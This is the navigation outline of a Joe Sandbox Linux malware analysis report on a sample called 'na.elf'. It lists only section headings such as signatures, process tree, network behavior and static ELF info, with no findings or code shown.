Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report na.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
na.elf